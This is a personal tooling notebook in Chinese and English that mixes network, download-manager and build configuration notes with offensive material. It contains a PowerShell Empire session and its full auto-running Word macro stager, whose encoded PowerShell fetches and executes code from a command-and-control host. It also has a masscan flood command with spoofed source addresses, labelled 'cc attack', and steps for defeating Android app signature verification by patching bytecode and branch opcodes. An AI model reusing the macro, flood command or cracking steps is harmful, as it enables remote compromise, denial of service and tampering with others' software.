右上角网络连接>>编辑连接>>增加>>
以太网 >> 1) 填写连接名称：ethernet
          2) 选择设备
802.1X安全性 >> 
	1) 勾选对此连接使用802.1X安全配置
	2) 认证选择受保护的EAP(PEAP)
	3) 勾选不需要CA证书(R)
	4) 内部认证>>MSCHAPv2
	5) 输入帐号和密码
IPv4 >> 勾选需要IPv4地址完成这个连接

[connection]
id=ethernet
uuid=9e123fbc-0123-46e3-97b5-f3214e123456
type=ethernet
interface-name=eno1
permissions=
secondaries=

[ethernet]
duplex=full
mac-address=0A:12:3C:DA:C1:A5
mac-address-blacklist=

[802-1x]
altsubject-matches=
eap=peap;
identity=username   # replace you login username
password=password   # replace you login password
phase2-altsubject-matches=
phase2-auth=mschapv2
system-ca-certs=true

[ipv4]
dns-search=
may-fail=false
method=auto

[ipv6]
addr-gen-mode=stable=privacy
dns-search=
ip6-privacy=0
method=auto

> brew install aria2

> mkdir ~/.aria2 && cd ~/.aria2
> touch aria2.conf
> vi aria2.conf     # add lines to aria2.conf
#用户名
#rpc-user=user
#密码
#rpc-passwd=passwd
#设置加密的密钥
#rpc-secret=secret
#允许rpc
enable-rpc=true
#允许所有来源, web界面跨域权限需要
rpc-allow-origin-all=true
#是否启用https加密，启用之后要设置公钥,私钥的文件路径
#rpc-secure=true
#启用加密设置公钥
#rpc-certificate=/home/name/.config/aria2/example.crt
#启用加密设置私钥
#rpc-private-key=/home/name/.config/aria2/example.key
#允许外部访问，false的话只监听本地端口
rpc-listen-all=false
#RPC端口, 仅当默认端口被占用时修改
#rpc-listen-port=6800
#最大同时下载数(任务数), 路由建议值: 3
max-concurrent-downloads=5
#断点续传
continue=true
#同服务器连接数
max-connection-per-server=5
#最小文件分片大小, 下载线程数上限取决于能分出多少片, 对于小文件重要
min-split-size=10M
#单文件最大线程数, 路由建议值: 5
split=10
#下载速度限制
max-overall-download-limit=0
#单文件速度限制
max-download-limit=0
#上传速度限制
max-overall-upload-limit=0
#单文件速度限制
max-upload-limit=0
#断开速度过慢的连接
#lowest-speed-limit=0
#验证用，需要1.16.1之后的release版本
#referer=*
#文件保存路径, 默认为当前启动位置
dir=/Users/hostname/Downloads
#文件缓存, 使用内置的文件缓存, 如果你不相信Linux内核文件缓存和磁盘内置缓存时使用, 需要1.16及以上版本
#disk-cache=0
#另一种Linux文件缓存方式, 使用前确保您使用的内核支持此选项, 需要1.15及以上版本(?)
#enable-mmap=true
#文件预分配, 能有效降低文件碎片, 提高磁盘性能. 缺点是预分配时间较长
#所需时间 none < falloc ? trunc << prealloc, falloc和trunc需要文件系统和内核支持
file-allocation=none
#不进行证书校验
check-certificate=false

> aria2c    #so open Aria2GUI.app to add file download
or
> aria2c http://www.example.com/test.zip    # download http
> aria2c file1.torrent      # download torrent
> aria2c "magnet:?xt=urn:btih:248D0A1CD08284299DE78D5C1ED359BB46717D8C&dn=aria2"  # download magnet

====================================================================================
 Empire: PowerShell post-exploitation agent | [Version]: 1.6.0
====================================================================================
 [Web]: https://www.PowerShellEmpire.com/ | [Twitter]: @harmj0y, @sixdub, @enigma0x3
====================================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   \/   | |   _  \  |  | |   _  \     |   ____|
  |  |__   |  \  /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |\/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |\  \----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|


       180 modules currently loaded

       1 listeners currently active

       0 agents currently active

(Empire) > listeners
[!] No listeners currently active
(Empire: listeners) > execute
(Empire: listeners) > usestager macro test
(Empire: stager/macro) > execute
[*] Stager output written out to: /tmp/macro

(Empire: stager/macro) > [+] Initial agent 1EBMCTEWVZDNM13U from 192.168.1.205 now active
(Empire: stager/macro) > agents

[*] Active agents:

  Name               Internal IP     Machine Name    Username            Process             Delay    Last Seen
  ---------          -----------     ------------    ---------           -------             -----    --------------------
  1EBMCTEWVZDNM13U   192.168.1.205   WIN             *WIN\hello         powershell/4272     5/0.0    2017-03-25 20:27:37

Sub AutoOpen()
	Debugging
End Sub

Sub Document_Open()
	Debugging
End Sub

Public Function Debugging() As Variant
	Dim Str As String
	str = "powershell.exe -NoP -sta -NonI -W Hidden -Enc WwBT"
	str = str + "AFkAcwB0AGUAbQAuAE4ARQB0AC4AUwBFAFIAVgBpAGMARQBQAG"
	str = str + "8ASQBOAHQATQBBAE4AQQBnAGUAUgBdADoAOgBFAHgAUABFAEMA"
	str = str + "VAAxADAAMABDAG8AbgB0AEkATgBVAEUAIAA9ACAAMAA7ACQAVw"
	str = str + "BDAD0ATgBFAFcALQBPAGIASgBlAGMAdAAgAFMAWQBzAHQARQBN"
	str = str + "AC4ATgBFAFQALgBXAGUAYgBDAGwAaQBlAE4AdAA7ACQAdQA9AC"
	str = str + "cATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8A"
	str = str + "dwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVA"
	str = str + "ByAGkAZABlAG4AdAAvADcALgAwADsAIAByAHYAOgAxADEALgAw"
	str = str + "ACkAIABsAGkAawBlACAARwBlAGMAawBvACcAOwAkAFcAYwAuAE"
	str = str + "gARQBBAGQAZQBSAFMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEA"
	str = str + "ZwBlAG4AdAAnACwAJAB1ACkAOwAkAFcAYwAuAFAAcgBPAFgAeQ"
	str = str + "AgAD0AIABbAFMAWQBTAFQARQBNAC4ATgBlAFQALgBXAEUAYgBS"
	str = str + "AEUAUQBVAGUAUwB0AF0AOgA6AEQARQBmAEEAdQBMAHQAVwBlAE"
	str = str + "IAUAByAE8AeAB5ADsAJAB3AGMALgBQAHIATwB4AHkALgBDAHIA"
	str = str + "ZQBkAEUATgB0AEkAYQBsAFMAIAA9ACAAWwBTAHkAUwBUAGUATQ"
	str = str + "AuAE4AZQBUAC4AQwBSAGUARABFAE4AVABJAEEATABDAEEAQwBo"
	str = str + "AGUAXQA6ADoARABlAEYAYQBVAEwAdABOAGUAdAB3AE8AcgBLAE"
	str = str + "MAcgBlAEQAZQBOAFQAaQBhAEwAUwA7ACQASwA9ACcAVABFAGMA"
	str = str + "ewBZAEAAXgBMAEkASgB4AFYAZwAxAHAAWgBhADIAVQAzAEYAaQ"
	str = str + "BOAEgAXQBgAD8AcgBCAHUAJQAqACcAOwAkAGkAPQAwADsAWwBj"
	str = str + "AEgAQQBSAFsAXQBdACQAQgA9ACgAWwBjAEgAQQBSAFsAXQBdAC"
	str = str + "gAJAB3AGMALgBEAE8AVwBOAEwAbwBhAGQAUwBUAFIASQBuAGcA"
	str = str + "KAAiAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALg"
	str = str + "AyADAANgA6ADgAMAA4ADAALwBpAG4AZABlAHgALgBhAHMAcAAi"
	str = str + "ACkAKQApAHwAJQB7ACQAXwAtAGIAWABPAHIAJABrAFsAJABJAC"
	str = str + "sAKwAlACQAawAuAEwARQBOAEcAdABIAF0AfQA7AEkARQBYACAA"
	str = str + "KAAkAEIALQBKAE8ASQBuACcAJwApAA=="
	Const HIDDEN_WINDOW = 0
	strComputer = "."
	Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")
	Set objStartup = objWMIService.Get("Win32_ProcessStartup")
	Set objConfig = objStartup.SpawnInstance_
	objConfig.ShowWindow = HIDDEN_WINDOW
	Set objProcess = GetObject("winmgmts:\\" & strComputer & "\root\cimv2:Win32_Process")
	objProcess.Create str, Null, objConfig, intProcessID
End Function

> brew install nmap
> brew install masscan

Nmap 7.40 ( https://nmap.org )
Usage: nmap [Scan Type(s)] [Options] {target specification}
TARGET SPECIFICATION:
  Can pass hostnames, IP addresses, networks, etc.
  Ex: scanme.nmap.org, microsoft.com/24, 192.168.0.1; 10.0.0-255.1-254
  -iL <inputfilename>: Input from list of hosts/networks
  -iR <num hosts>: Choose random targets
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
HOST DISCOVERY:
  -sL: List Scan - simply list targets to scan
  -sn: Ping Scan - disable port scan
  -Pn: Treat all hosts as online -- skip host discovery
  -PS/PA/PU/PY[portlist]: TCP SYN/ACK, UDP or SCTP discovery to given ports
  -PE/PP/PM: ICMP echo, timestamp, and netmask request discovery probes
  -PO[protocol list]: IP Protocol Ping
  -n/-R: Never do DNS resolution/Always resolve [default: sometimes]
  --dns-servers <serv1[,serv2],...>: Specify custom DNS servers
  --system-dns: Use OS's DNS resolver
  --traceroute: Trace hop path to each host
SCAN TECHNIQUES:
  -sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans
  -sU: UDP Scan
  -sN/sF/sX: TCP Null, FIN, and Xmas scans
  --scanflags <flags>: Customize TCP scan flags
  -sI <zombie host[:probeport]>: Idle scan
  -sY/sZ: SCTP INIT/COOKIE-ECHO scans
  -sO: IP protocol scan
  -b <FTP relay host>: FTP bounce scan
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p U:53,111,137,T:21-25,80,139,8080,S:9
  --exclude-ports <port ranges>: Exclude the specified ports from scanning
  -F: Fast mode - Scan fewer ports than the default scan
  -r: Scan ports consecutively - don't randomize
  --top-ports <number>: Scan <number> most common ports
  --port-ratio <ratio>: Scan ports more common than <ratio>
SERVICE/VERSION DETECTION:
  -sV: Probe open ports to determine service/version info
  --version-intensity <level>: Set from 0 (light) to 9 (try all probes)
  --version-light: Limit to most likely probes (intensity 2)
  --version-all: Try every single probe (intensity 9)
  --version-trace: Show detailed version scan activity (for debugging)
SCRIPT SCAN:
  -sC: equivalent to --script=default
  --script=<Lua scripts>: <Lua scripts> is a comma separated list of
           directories, script-files or script-categories
  --script-args=<n1=v1,[n2=v2,...]>: provide arguments to scripts
  --script-args-file=filename: provide NSE script args in a file
  --script-trace: Show all data sent and received
  --script-updatedb: Update the script database.
  --script-help=<Lua scripts>: Show help about scripts.
           <Lua scripts> is a comma-separated list of script-files or
           script-categories.
OS DETECTION:
  -O: Enable OS detection
  --osscan-limit: Limit OS detection to promising targets
  --osscan-guess: Guess OS more aggressively
TIMING AND PERFORMANCE:
  Options which take <time> are in seconds, or append 'ms' (milliseconds),
  's' (seconds), 'm' (minutes), or 'h' (hours) to the value (e.g. 30m).
  -T<0-5>: Set timing template (higher is faster)
  --min-hostgroup/max-hostgroup <size>: Parallel host scan group sizes
  --min-parallelism/max-parallelism <numprobes>: Probe parallelization
  --min-rtt-timeout/max-rtt-timeout/initial-rtt-timeout <time>: Specifies
      probe round trip time.
  --max-retries <tries>: Caps number of port scan probe retransmissions.
  --host-timeout <time>: Give up on target after this long
  --scan-delay/--max-scan-delay <time>: Adjust delay between probes
  --min-rate <number>: Send packets no slower than <number> per second
  --max-rate <number>: Send packets no faster than <number> per second
FIREWALL/IDS EVASION AND SPOOFING:
  -f; --mtu <val>: fragment packets (optionally w/given MTU)
  -D <decoy1,decoy2[,ME],...>: Cloak a scan with decoys
  -S <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --proxies <url1,[url2],...>: Relay connections through HTTP/SOCKS4 proxies
  --data <hex string>: Append a custom payload to sent packets
  --data-string <string>: Append a custom ASCII string to sent packets
  --data-length <num>: Append random data to sent packets
  --ip-options <options>: Send packets with specified ip options
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
  --badsum: Send packets with a bogus TCP/UDP/SCTP checksum
OUTPUT:
  -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3,
     and Grepable format, respectively, to the given filename.
  -oA <basename>: Output in the three major formats at once
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --reason: Display the reason a port is in a particular state
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
  --stylesheet <path/URL>: XSL stylesheet to transform XML output to HTML
  --webxml: Reference stylesheet from Nmap.Org for more portable XML
  --no-stylesheet: Prevent associating of XSL stylesheet w/XML output
MISC:
  -6: Enable IPv6 scanning
  -A: Enable OS detection, version detection, script scanning, and traceroute
  --datadir <dirname>: Specify custom Nmap data file location
  --send-eth/--send-ip: Send using raw ethernet frames or IP packets
  --privileged: Assume that the user is fully privileged
  --unprivileged: Assume the user lacks raw socket privileges
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  nmap -v -A scanme.nmap.org
  nmap -v -sn 192.168.0.0/16 10.0.0.0/8
  nmap -v -iR 10000 -Pn -p 80
SEE THE MAN PAGE (https://nmap.org/book/man.html) FOR MORE OPTIONS AND EXAMPLES

auth
broadcast
brute
default
discovery
dos
exploit
external
fuzzer
intrusive
malware
safe
version
vuln

> sudo nmap -sS -Pn -n -v -sn -T5 -iL ips.txt
> sudo nmap -sS -Pn -n -v --open -p 80 -sV -T5 -O --host-timeout=180000 -iL ips.txt
> wget https://raw.githubusercontent.com/maaaaz/nmaptocsv/master/nmaptocsv.py
> python nmaptocsv.py -i test.nmap -f ip-fqdn-port-protocol-service-version-os
or
> python nmaptocsv.py -i test.gnmap -f ip-fqdn-port-protocol-service-version-os

192.168.1.2;test.lan;135;tcp;msrpc;Microsoft Windows RPC;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;139;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;445;tcp;netbios-ssn;;Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
192.168.1.2;test.lan;5357;tcp;http;Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP);Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)

msf > db_import test.xml
msf > hosts

Usage: masscan [Options] -p{Target-Ports} {Target-IP-Ranges}
TARGET SPECIFICATION:
  Can pass only IPv4 address, CIDR networks, or ranges (non-nmap style)
  Ex: 10.0.0.0/8, 192.168.0.1, 10.0.0.1-10.0.0.254
  -iL <inputfilename>: Input from list of hosts/networks
  --exclude <host1[,host2][,host3],...>: Exclude hosts/networks
  --excludefile <exclude_file>: Exclude list from file
  --randomize-hosts: Randomize order of hosts (default)
HOST DISCOVERY:
  -Pn: Treat all hosts as online (default)
  -n: Never do DNS resolution (default)
SCAN TECHNIQUES:
  -sS: TCP SYN (always on, default)
SERVICE/VERSION DETECTION:
  --banners: get the banners of the listening service if available. The
    default timeout for waiting to recieve data is 30 seconds.
PORT SPECIFICATION AND SCAN ORDER:
  -p <port ranges>: Only scan specified ports
    Ex: -p22; -p1-65535; -p 111,137,80,139,8080
TIMING AND PERFORMANCE:
  --max-rate <number>: Send packets no faster than <number> per second
  --connection-timeout <number>: time in seconds a TCP connection will
    timeout while waiting for banner data from a port.
FIREWALL/IDS EVASION AND SPOOFING:
  -S/--source-ip <IP_Address>: Spoof source address
  -e <iface>: Use specified interface
  -g/--source-port <portnum>: Use given port number
  --ttl <val>: Set IP time-to-live field
  --spoof-mac <mac address/prefix/vendor name>: Spoof your MAC address
OUTPUT:
  --output-format <format>: Sets output to binary/list/json/grepable/xml
  --output-file <file>: Write scan results to file. If --output-format is
     not given default is xml
  -oL/-oJ/-oG/-oB/-oX <file>: Output scan in List/JSON/Grepable/Binary/XML format,
     respectively, to the given filename. Shortcut for
     --output-format <format> --output-file <file>
  -v: Increase verbosity level (use -vv or more for greater effect)
  -d: Increase debugging level (use -dd or more for greater effect)
  --open: Only show open (or possibly open) ports
  --packet-trace: Show all packets sent and received
  --iflist: Print host interfaces and routes (for debugging)
  --append-output: Append to rather than clobber specified output files
  --resume <filename>: Resume an aborted scan
MISC:
  --send-eth: Send using raw ethernet frames (default)
  -V: Print version number
  -h: Print this help summary page.
EXAMPLES:
  masscan -v -sS 192.168.0.0/16 10.0.0.0/8 -p 80
  masscan 23.0.0.0/0 -p80 --banners -output-format binary --output-filename internet.scan
  masscan --open --banners --readscan internet.scan -oG internet_scan.grepable
SEE (https://github.com/robertdavidgraham/masscan) FOR MORE HELP

--wait <int>: wait time
-oR <value>: setting redis connect 127.0.0.1:6379

> masscan 0.0.0.0/4 -p80 --rate 100000000 --router-mac 66-55-44-33-22-11
> masscan 10.1.2.3 -p80 --banners --rate 10000000 --repeat --source-address 192.168.1.0/8 --source-port 0-65535 --output-format null    # cc attack

binary
xml
grepable
json
null
redis
text (a.k.a. "list")
unicornscan

> sudo masscan -p8899,8088,5566 119.97.243.42 --output-format redis -oR 127.0.0.1:6379

127.0.0.1:6379> keys *
1) "192.168.1.10:8080/tcp"
2) "192.168.1.10:80/tcp"
3) "host"
4) "192.168.1.10"
5) "192.168.1.10:8181/tcp"

> opkg update
> opkg install tor

RunAsDaemon 0  
DataDirectory /var/lib/tor  
User tor  
Socks5Proxy 127.0.0.1:1080
SocksPort 0.0.0.0:9050  
TransPort 0.0.0.0:9040  
DNSPort 0.0.0.0:53  
AvoidDiskWrites 1

config dnsmasq
       option noresolv '1'
       list server '127.0.0.1#53'

> opkg update
> opkg install ip ip-full iptables-mod-tproxy ipset libopenssl iptables-mod-tproxy
> wget https://github.com/aa65535/openwrt-chinadns/releases/download/v1.3.2-4/ChinaDNS_1.3.2-4_ar71xx.ipk
> wget https://github.com/aa65535/openwrt-dist-luci/releases/download/v1.6.0/luci-app-chinadns_1.6.0-1_all.ipk
> opkg install *.ipk

0 0 * * * wget -O- 'http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest' | awk -F\| '/CN\|ipv4/ { printf("%s/%d\n", $4, 32-log($5)/log(2)) }' > /etc/chinadns_chnroute.txt

> brew install openssl autoconf
> echo 'export PATH="/usr/local/opt/openssl/bin:$PATH"' >> ~/.zshrc
> sudo /Applications/MAMP/bin/php/php5.6.10/bin/pecl install mongodb

MAMP_apc_MAMP
extension=imap.so
extension=gettext.so
extension=mcrypt.so
extension=yaz.so
extension=pgsql.so
extension=pdo_pgsql.so
extension=mongodb.so

running: phpize
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/main/php.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_modules.h: No such file or directory
grep: /Applications/MAMP/bin/php/php5.6.10/include/php/Zend/zend_extensions.h: No such file or directory

sudo ln -s /Applications/Xcode.app/Contents/Developer/Platforms/MacOSX.platform/Developer/SDKs/MacOSX.sdk/usr/include/ /Applications/MAMP/bin/php/php5.6.10/include

private/tmp/pear/install/mongodb/src/libbson/src/bson/ -DHAVE_CONFIG_H -g -O2 -D_THREAD_SAFE -pthread -c /private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c  -fno-common -DPIC -o src/libmongoc/src/mongoc/.libs/mongoc-crypto-openssl.o
/private/tmp/pear/install/mongodb/src/libmongoc/src/mongoc/mongoc-crypto-openssl.c:24:10: fatal error: 'openssl/sha.h' file not found
#include <openssl/sha.h>
         ^
1 error generated.

> cd /usr/local/include 
> ln -s ../opt/openssl/include/openssl .

> brew install libusb sox hackrf gnuradio librtlsdr

> brew install libyubikey pam_yubico yubico-piv-tool Caskroom/cask/yubikey-piv-manager

> csrutil disable

> csrutil enable

> sudo ln -s /usr/local/Cellar/pam_yubico/2.23/lib/security/pam_yubico.so /usr/local/lib/security/pam_yubico.so
> sudo vi /etc/pam.d/authorization
# authorization: auth account
auth    optional    pam_krb5.so use_first_pass use_kcminit
auth    optional    pam_ntlm.so use_first_pass
auth    required    pam_opendirectory.so use_first_pass nullok
auth    required    /usr/local/lib/security/pam_yubico.so mode=challenge-response
auth    required    pam_opendirectory.so

"signatures"
"[Landroid/content/pm/Signature" "Landroid/content/pm/PackageInfo;->signatures:[Landroid/content/pm/Signature"
"Ljava/security/Signature;->verify([B)Z"

#move-result vx  //x代码数字0或者1..
const/4 vx, 0x1

"loadLibrary"
"Ljava/lang/System;->loadLibrary(Ljava/lang/String;)V"

> grep -R '\.so$' ./
> strings xx.so|grep -i signature

1. ida >> 打开xx.so文件
2. 搜索signature 勾选上Find all occurences
3. 在搜索的function中单击进入>>右击选择Graph view切换图形视图，找到最后一行关键跳转>> 右键选择Text view切换回文本视图 >> F5看一下C语言代码

BEQ指令是“相等（或为0）跳转指令”
BNE指令是“不相等（或不为0）跳转指令”
B指令是“无条件跳转指令”
CBZ 指令是“比较，为零则跳转”
CBNZ指令是“比较，为非零则跳转”

BNE跳转指令对应的HEX机器码是D1
BEQ跳转指令对应的HEX机器码是D0
CBZ跳转指令对应的HEX机器码是B1
CBNZ跳转指令对应的HEX机器码是B9